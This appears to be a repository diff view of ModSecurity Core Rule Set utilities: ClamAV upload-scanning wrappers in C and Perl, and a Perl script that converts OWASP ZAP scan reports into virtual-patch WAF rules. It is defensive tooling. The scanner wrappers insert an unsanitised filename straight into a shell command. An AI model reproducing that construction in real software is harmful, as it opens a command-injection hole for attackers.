|
||||
EXTERN int send_request(char *request,char *ip,char *port,char *reply,int max_reply_size);
|
||||
EXTERN int find_ip_idx(char *ip, blocklist_t *blocklist, int num_of_ips);
|
||||
EXTERN int remove_ip_idx(char *ip, blocklist_t *blocklist, int num_of_ips);
|
||||
|
||||
EXTERN char modsec_rpc[1024];
|
||||
EXTERN char modsec_rpc_home[1024];
|
||||
EXTERN char modsec_rpc_log_file[1024];
|
||||
EXTERN char modsec_rpc_log_level[1024];
|
||||
EXTERN char modsec_rpc_ssl_lockfile[1024];
|
||||
EXTERN char modsec_rpc_externalnic_lockfile[1024];
|
||||
EXTERN char modsec_rpc_sensor_lockfile[1024];
|
||||
EXTERN char modsec_rpc_reverseproxy_lockfile[1024];
|
||||
EXTERN char modsec_rpc_mui_lockfile[1024];
|
||||
EXTERN char modsec_proxy[1024];
|
||||
EXTERN char modsec_proxy_home[1024];
|
||||
EXTERN char modsec_proxy_script[1024];
|
||||
EXTERN char modsec_proxy_ip[1024];
|
||||
EXTERN char modsec_proxy_port[1024];
|
||||
EXTERN char modsec_proxy_bin[1024];
|
||||
EXTERN char modsec_proxy_conf[1024];
|
||||
EXTERN char modsec_proxy_ext_nic[1024];
|
||||
EXTERN char modsec_proxy_pid[1024];
|
||||
EXTERN char modsec_proxy_whitelist[1024];
|
||||
EXTERN char modsec_proxy_blacklist[1024];
|
||||
EXTERN char modsec_proxy_network_prefix[1024];
|
||||
EXTERN char modsec_proxy_timeout[1024];
|
||||
EXTERN char modsec_proxy_exchange[1024];
|
||||
EXTERN char modsec_proxy_ext_ips[1024];
|
||||
EXTERN char modsec_rpc_password_file[1024];
|
||||
EXTERN char modsec_mui_ui_admin[1024];
|
||||
EXTERN char modsec_mui_ui_ipaddress[1024];
|
||||
EXTERN char modsec_mui_ui_port[1024];
|
||||
EXTERN char modsec_cli_home[1024];
|
||||
EXTERN char sensor_id[1024];
|
||||
EXTERN char serial[1024];
|
||||
EXTERN char version_number[1024];
|
||||
EXTERN char bridge_mode[1024];
|
||||
EXTERN char data_disk_space[1024];
|
||||
EXTERN char release_date[1024];
|
||||
EXTERN char conn_rate[1024];
|
||||
EXTERN char conn_rate_per_addr[1024];
|
||||
EXTERN char conns[1024];
|
||||
EXTERN char conns_per_addr[1024];
|
2
iis/ModSecurityIIS/owasp_crs/util/runAV/comp
Normal file
2
iis/ModSecurityIIS/owasp_crs/util/runAV/comp
Normal file
@@ -0,0 +1,2 @@
|
||||
gcc -c -o common.o -DEXTERN= common.c
|
||||
gcc -o runAV -DEXTERN=extern common.o runAV.c
|
48
iis/ModSecurityIIS/owasp_crs/util/runAV/runAV-clamd.c
Normal file
48
iis/ModSecurityIIS/owasp_crs/util/runAV/runAV-clamd.c
Normal file
@@ -0,0 +1,48 @@
|
||||
#include "common.h"
|
||||
|
||||
main(int argc, char *argv[])
|
||||
{
|
||||
char cmd[MAX_OUTPUT_SIZE];
|
||||
char output[MAX_OUTPUT_SIZE];
|
||||
int error;
|
||||
char *colon;
|
||||
char *keyword;
|
||||
|
||||
if (argc > 1) {
|
||||
sprintf (cmd, "/usr/bin/clamdscan --no-summary %s", argv[1]);
|
||||
output[0] = '\0';
|
||||
error = run_cmd(cmd,output,MAX_OUTPUT_SIZE);
|
||||
if (error != 0) {
|
||||
printf ("1 exec error %d: OK", error);
|
||||
} else if (!*output) {
|
||||
printf ("1 exec empty: OK");
|
||||
}
|
||||
else {
|
||||
colon = strstr(output, ":");
|
||||
if (colon) { colon += 2; }
|
||||
if (!colon) {
|
||||
printf ("0 unable to parse clamdscan output [%s] for cmd [%s]", output, cmd);
|
||||
}
|
||||
else if (keyword = strstr(colon, " FOUND")) {
|
||||
*keyword = '\0';
|
||||
printf ("0 clamdscan: %s", colon);
|
||||
}
|
||||
else if (keyword = strstr(colon, " ERROR")) {
|
||||
*keyword = '\0';
|
||||
printf ("0 clamdscan: %s", colon);
|
||||
}
|
||||
else if (keyword = strstr(colon, "OK")) {
|
||||
printf ("1 clamdscan: OK");
|
||||
}
|
||||
else if (keyword = strstr(colon, "Empty file")) {
|
||||
printf ("1 empty file");
|
||||
}
|
||||
else if (keyword = strstr(colon, "Can't access file ")) {
|
||||
printf ("0 invalid file %s", keyword+18);
|
||||
}
|
||||
else {
|
||||
printf ("0 unable to parse clamdscan output [%s] for cmd [%s]", output, cmd);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
48
iis/ModSecurityIIS/owasp_crs/util/runAV/runAV.c
Normal file
48
iis/ModSecurityIIS/owasp_crs/util/runAV/runAV.c
Normal file
@@ -0,0 +1,48 @@
|
||||
#include "common.h"
|
||||
|
||||
main(int argc, char *argv[])
|
||||
{
|
||||
char cmd[MAX_OUTPUT_SIZE];
|
||||
char output[MAX_OUTPUT_SIZE];
|
||||
int error;
|
||||
char *colon;
|
||||
char *keyword;
|
||||
|
||||
if (argc > 1) {
|
||||
sprintf (cmd, "/usr/bin/clamscan --no-summary %s", argv[1]);
|
||||
output[0] = '\0';
|
||||
error = run_cmd(cmd,output,MAX_OUTPUT_SIZE);
|
||||
if (error != 0) {
|
||||
printf ("1 exec error %d: OK", error);
|
||||
} else if (!*output) {
|
||||
printf ("1 exec empty: OK");
|
||||
}
|
||||
else {
|
||||
colon = strstr(output, ":");
|
||||
if (colon) { colon += 2; }
|
||||
if (!colon) {
|
||||
printf ("0 unable to parse clamscan output [%s] for cmd [%s]", output, cmd);
|
||||
}
|
||||
else if (keyword = strstr(colon, " FOUND")) {
|
||||
*keyword = '\0';
|
||||
printf ("0 clamscan: %s", colon);
|
||||
}
|
||||
else if (keyword = strstr(colon, " ERROR")) {
|
||||
*keyword = '\0';
|
||||
printf ("0 clamscan: %s", colon);
|
||||
}
|
||||
else if (keyword = strstr(colon, "OK")) {
|
||||
printf ("1 clamscan: OK");
|
||||
}
|
||||
else if (keyword = strstr(colon, "Empty file")) {
|
||||
printf ("1 empty file");
|
||||
}
|
||||
else if (keyword = strstr(colon, "Can't access file ")) {
|
||||
printf ("0 invalid file %s", keyword+18);
|
||||
}
|
||||
else {
|
||||
printf ("0 unable to parse clamscan output [%s] for cmd [%s]", output, cmd);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
40
iis/ModSecurityIIS/owasp_crs/util/runav.pl
Normal file
40
iis/ModSecurityIIS/owasp_crs/util/runav.pl
Normal file
@@ -0,0 +1,40 @@
|
||||
#!/usr/bin/perl
|
||||
#
|
||||
# runav.pl
|
||||
# Copyright (c) 2004-2011 Trustwave
|
||||
#
|
||||
# This script is an interface between ModSecurity and its
|
||||
# ability to intercept files being uploaded through the
|
||||
# web server, and ClamAV
|
||||
|
||||
|
||||
$CLAMSCAN = "clamscan";
|
||||
|
||||
if ($#ARGV != 0) {
|
||||
print "Usage: modsec-clamscan.pl <filename>\n";
|
||||
exit;
|
||||
}
|
||||
|
||||
my ($FILE) = shift @ARGV;
|
||||
|
||||
$cmd = "$CLAMSCAN --stdout --disable-summary $FILE";
|
||||
$input = `$cmd`;
|
||||
$input =~ m/^(.+)/;
|
||||
$error_message = $1;
|
||||
|
||||
$output = "0 Unable to parse clamscan output [$1]";
|
||||
|
||||
if ($error_message =~ m/: Empty file\.?$/) {
|
||||
$output = "1 empty file";
|
||||
}
|
||||
elsif ($error_message =~ m/: (.+) ERROR$/) {
|
||||
$output = "0 clamscan: $1";
|
||||
}
|
||||
elsif ($error_message =~ m/: (.+) FOUND$/) {
|
||||
$output = "0 clamscan: $1";
|
||||
}
|
||||
elsif ($error_message =~ m/: OK$/) {
|
||||
$output = "1 clamscan: OK";
|
||||
}
|
||||
|
||||
print "$output\n";
|
318
iis/ModSecurityIIS/owasp_crs/util/zap2modsec.pl
Normal file
318
iis/ModSecurityIIS/owasp_crs/util/zap2modsec.pl
Normal file
@@ -0,0 +1,318 @@
|
||||
#!/opt/local/bin/perl -T
|
||||
|
||||
#############################################
|
||||
# -=[ Virtual Patching Converter Script ]=- #
|
||||
# Converts OWASP ZAP XML Ouput #
|
||||
# https://code.google.com/p/zaproxy/ #
|
||||
# #
|
||||
# zap2modsec.pl #
|
||||
# Version: 1.0 #
|
||||
# #
|
||||
# Copyright 2011 #
|
||||
# Trustwave's SpiderLabs Research Team #
|
||||
# www.trustwave.com #
|
||||
# #
|
||||
# Based On Code Originally Created by: #
|
||||
# The Denim Group #
|
||||
# www.denimgroup.com #
|
||||
#############################################
|
||||
|
||||
use XML::Smart;
|
||||
use Switch;
|
||||
use Data::Types qw(:all);
|
||||
use Data::Validate::URI qw(is_uri);
|
||||
use Getopt::Std;
|
||||
use Acme::Comment type=>'C++', one_line=>1; #Block commenting, can be removed later
|
||||
|
||||
#############
|
||||
# Variables #
|
||||
#############
|
||||
|
||||
# [Configuration Vars]
|
||||
my %param;
|
||||
getopt("f",\%param);
|
||||
$filename = $param{f};
|
||||
my $all_vulnerabilities_filename = "$filename";
|
||||
|
||||
unless ($filename) {
|
||||
print "Flag:\n\n\t -f:\t path to ZAP xml report file\nUsage:\n\n\t./zap2modsec.pl -f ./zap_report.xml\n\n";
|
||||
exit;
|
||||
}
|
||||
|
||||
|
||||
my $modsec_rules_file = "./modsecurity_crs_48_virtual_patches.conf";
|
||||
|
||||
# [End Config Vars]
|
||||
|
||||
my $VULN_CLASS_XSS = "Cross Site Scripting";
|
||||
my $VULN_CLASS_SQLI = "SQL Injection";
|
||||
my $VULN_CLASS_SQLI_FINGERPRINT = "SQL Injection Fingerprinting";
|
||||
my $VULN_CLASS_LFI = "Path Traversal";
|
||||
my $VULN_CLASS_RFI = "Remote File Inclusion";
|
||||
my $VULN_CLASS_HTTPRS = "HTTP Response Splitting";
|
||||
|
||||
# Only the vulnerabilities in this array will have
|
||||
# rules generated for them.
|
||||
my @supported_vulns = ($VULN_CLASS_XSS, $VULN_CLASS_SQLI, $VULN_CLASS_SQLI_FINGERPRINT, $VULN_CLASS_LFI, $VULN_CLASS_RFI, $VULN_CLASS_HTTPRS);
|
||||
|
||||
my $num_rules_generated=0;
|
||||
my $num_not_supported=0;
|
||||
my $num_bad_urls=0;
|
||||
|
||||
my $wait_for_keypress=1;
|
||||
my $request_failed=0;
|
||||
|
||||
my $all_vulns_xml;
|
||||
my @type;
|
||||
my @id;
|
||||
my $vuln_count;
|
||||
|
||||
my $num_attacks_flag=0;
|
||||
my $num_attacks_noflag=0;
|
||||
|
||||
# End Vars ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||||
|
||||
#############
|
||||
# Main #
|
||||
#############
|
||||
|
||||
# Clean up env so perl doesn't complain
|
||||
# when trying to run the restart snort
|
||||
# script.
|
||||
delete @ENV{qw(IFS CDPATH ENV BASH_ENV PATH)};
|
||||
|
||||
$all_vulns_xml = XML::Smart->new($all_vulnerabilities_filename);
|
||||
|
||||
@type = $all_vulns_xml->{OWASPZAPReport}{site}{alerts}{alertitem}('[@]','alert');
|
||||
@url = $all_vulns_xml->{OWASPZAPReport}{site}{alerts}{alertitem}('[@]','uri');
|
||||
@param = $all_vulns_xml->{OWASPZAPReport}{site}{alerts}{alertitem}('[@]','param');
|
||||
|
||||
open(my $MODSEC_RULES, '>' , $modsec_rules_file) || die "Unable to open modsecurity rules file $modsec_rules_file";
|
||||
$MODSEC_RULES->autoflush(1);
|
||||
|
||||
$vuln_count = 0;
|
||||
|
||||
foreach my $current_type (@type){
|
||||
print "==================================================================================================\n";
|
||||
print "Vulnerability[$vuln_count] - Type: $current_type\n";
|
||||
|
||||
if(exists {map { $_ => 1 } @supported_vulns}->{$current_type}){
|
||||
parseData(to_string($current_type));
|
||||
}else {
|
||||
print "Vulnerability Type: $type is not supported in this version.\n";
|
||||
$num_not_supported++;
|
||||
}
|
||||
$vuln_count++;
|
||||
}
|
||||
|
||||
close($MODSEC_RULES);
|
||||
|
||||
print "==================================================================================================\n";
|
||||
|
||||
print "\n\n************ END OF SCRIPT RESULTS *****************\n";
|
||||
print "Number of Vulnerabilities Processed: $vuln_count\n";
|
||||
print "Number of ModSecurity rules generated: $num_rules_generated\n";
|
||||
print "Number of Unsupported vulns skipped: $num_not_supported\n";
|
||||
print "Number of bad URLs (rules not gen): $num_bad_urls\n";
|
||||
print "****************************************************\n\n";
|
||||
print "----------------------------------------------------\n";
|
||||
print "To activate the virtual patching file ($modsec_rules_file),\n";
|
||||
print "copy it into the CRS \"base_rules\" directory and then create\n";
|
||||
print "a symlink to it in the \"activated_rules\" directory.\n";
|
||||
print "-----------------------------------------------------\n\n";
|
||||
|
||||
|
||||
###############
|
||||
# Subroutines #
|
||||
###############
|
||||
sub parseData
|
||||
{
|
||||
my($vuln_str) = @_;
|
||||
my $vuln_detail_filename;
|
||||
my $current_vuln_xml;
|
||||
my $current_vuln_url;
|
||||
my $current_vuln_param;
|
||||
my $current_uricontent;
|
||||
my @current_params;
|
||||
my $id = $vuln_count;
|
||||
|
||||
print "Found a $vuln_str vulnerability.\n";
|
||||
|
||||
$current_vuln_xml = XML::Smart->new($all_vulnerabilities_filename);
|
||||
$current_vuln_url = $url[$vuln_count];
|
||||
|
||||
print URL_LIST "$current_vuln_url\n";
|
||||
|
||||
# Validate url (need seperate sub?)
|
||||
print "Validating URL: $current_vuln_url\n";
|
||||
if(is_uri(to_string($current_vuln_url))){
|
||||
print "URL is well-formed\n";
|
||||
print "Continuing Rule Generation\n";
|
||||
} else {
|
||||
print "URL is NOT well-formed. Breaking Out of Rule Generation\n";
|
||||
$num_bad_urls++;
|
||||
|
||||
# Waits for keypress in test mode so you can
|
||||
# see why the URL failed validation.
|
||||
if($test_mode){
|
||||
wait_for_keypress();
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
$current_uricontent = get_uricontent($current_vuln_url);
|
||||
|
||||
|
||||
# Only need param if XSS attack,SQLINJ,XPATH
|
||||
# and maybe for HTTPRS, DT.
|
||||
# NOT for PRL and DI
|
||||
|
||||
if(($vuln_str ne $VULN_CLASS_PRL) && ($vuln_str ne $VULN_CLASS_DI)){
|
||||
@current_params = $param[$vuln_count];
|
||||
|
||||
}
|
||||
if(($vuln_str ne $VULN_CLASS_PRL) && ($vuln_str ne $VULN_CLASS_DI)){
|
||||
print "Current vulnerable Param(s): @current_params\n";
|
||||
}
|
||||
|
||||
generate_patch($vuln_str,$current_uricontent,@current_params);
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
sub generate_patch
|
||||
{
|
||||
my($type,$uricontent,@params,$current_vuln_xml) = @_;
|
||||
my $rule = "";
|
||||
$id = "1".$vuln_count;
|
||||
|
||||
switch($type)
|
||||
{
|
||||
case ($VULN_CLASS_XSS)
|
||||
{
|
||||
if($uricontent ne "" && @params){
|
||||
foreach(@params){
|
||||
if($_ ne ""){
|
||||
# Check to see if each vulnerable parameter is valid
|
||||
# then generate a rule using both uricontent and the
|
||||
# parameter
|
||||
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/XSS',tag:'WASCTC/WASC-8',tag:'WASCTC/WASC-22',tag:'OWASP_TOP_10/A2',tag:'OWASP_AppSensor/IE1',tag:'PCI/6.5.1',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/XSS.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.xss_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
|
||||
|
||||
print $MODSEC_RULES "#\n# OWASP ZAP Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
|
||||
print "$VULN_CLASS_XSS (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
|
||||
$num_rules_generated++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
case ($VULN_CLASS_SQLI)
|
||||
{
|
||||
|
||||
if($uricontent ne "" && @params){
|
||||
foreach(@params){
|
||||
if($_ ne ""){
|
||||
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/SQL_INJECTION.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
|
||||
|
||||
print $MODSEC_RULES "#\n# OWASP ZAP Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
|
||||
print "$VULN_CLASS_SQLI (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
|
||||
$num_rules_generated++;
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
case ($VULN_CLASS_BLIND_SQLI)
|
||||
{
|
||||
|
||||
if($uricontent ne "" && @params){
|
||||
foreach(@params){
|
||||
if($_ ne ""){
|
||||
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/SQL_INJECTION.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
|
||||
|
||||
print $MODSEC_RULES "#\n# OWASP ZAP Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
|
||||
print "$VULN_CLASS_SQLI (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
|
||||
$num_rules_generated++;
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
case ($VULN_CLASS_LFI)
|
||||
{
|
||||
if($uricontent ne "" && @params){
|
||||
foreach(@params){
|
||||
if($_ ne ""){
|
||||
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/LFI',tag:'WASCTC/WASC-33',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/LFI.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
|
||||
|
||||
print $MODSEC_RULES "#\n# OWASP ZAP Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
|
||||
print "$VULN_CLASS_LFI (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
|
||||
$num_rules_generated++;
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
case ($VULN_CLASS_RFI)
|
||||
{
|
||||
if($uricontent ne "" && @params){
|
||||
foreach(@params){
|
||||
if($_ ne ""){
|
||||
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/RFI',tag:'WASCTC/WASC-05',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/RFI.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
|
||||
|
||||
print $MODSEC_RULES "#\n# OWASP ZAP Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
|
||||
print "$VULN_CLASS_LFI (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
|
||||
$num_rules_generated++;
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
case ($VULN_CLASS_HTTPRS)
|
||||
{
|
||||
if($uricontent ne "" && @params){
|
||||
foreach(@params){
|
||||
if($_ ne ""){
|
||||
$rule = "SecRule REQUEST_FILENAME \"$uricontent\" \"chain,phase:2,t:none,block,msg:'Virtual Patch for $type',id:'$id',tag:'WEB_ATTACK/RESPONSE_SPLITTING',tag:'WASCTC/WASC-25',logdata:'%{matched_var_name}',severity:'2'\"\n\tSecRule \&TX:\'\/RESPONSE_SPLITTING.*ARGS:$_\/\' \"\@gt 0\" \"setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score}\"";
|
||||
|
||||
print $MODSEC_RULES "#\n# OWASP ZAP Virtual Patch Details:\n# ID: $id\n# Type: $type\n# Vulnerable URL: $uricontent\n# Vulnerable Parameter: $_\n#\n".$rule."\n\n";
|
||||
print "$VULN_CLASS_RFI (uricontent and param) rule successfully generated and saved in $modsec_rules_file.\n";
|
||||
$num_rules_generated++;
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
sub get_uricontent
|
||||
{
|
||||
my($url) = @_;
|
||||
my $regex = "http:\/\/+[a-zA-Z0-9.:-]*\/";
|
||||
|
||||
# First, trim the first part out of the URL:
|
||||
# http://.../
|
||||
$url =~ /$regex/;
|
||||
substr($url,index($url,$&),length($&)) = "";
|
||||
|
||||
# If the URL contains a php or cgi query with
|
||||
# one or more params and values, trim those out.
|
||||
# Trim from the question mark to the end.
|
||||
if($url =~ /\?/){
|
||||
substr($url,index($url,"?")) = "";
|
||||
}
|
||||
return $url;
|
||||
|
||||
}
|
Reference in New Issue
Block a user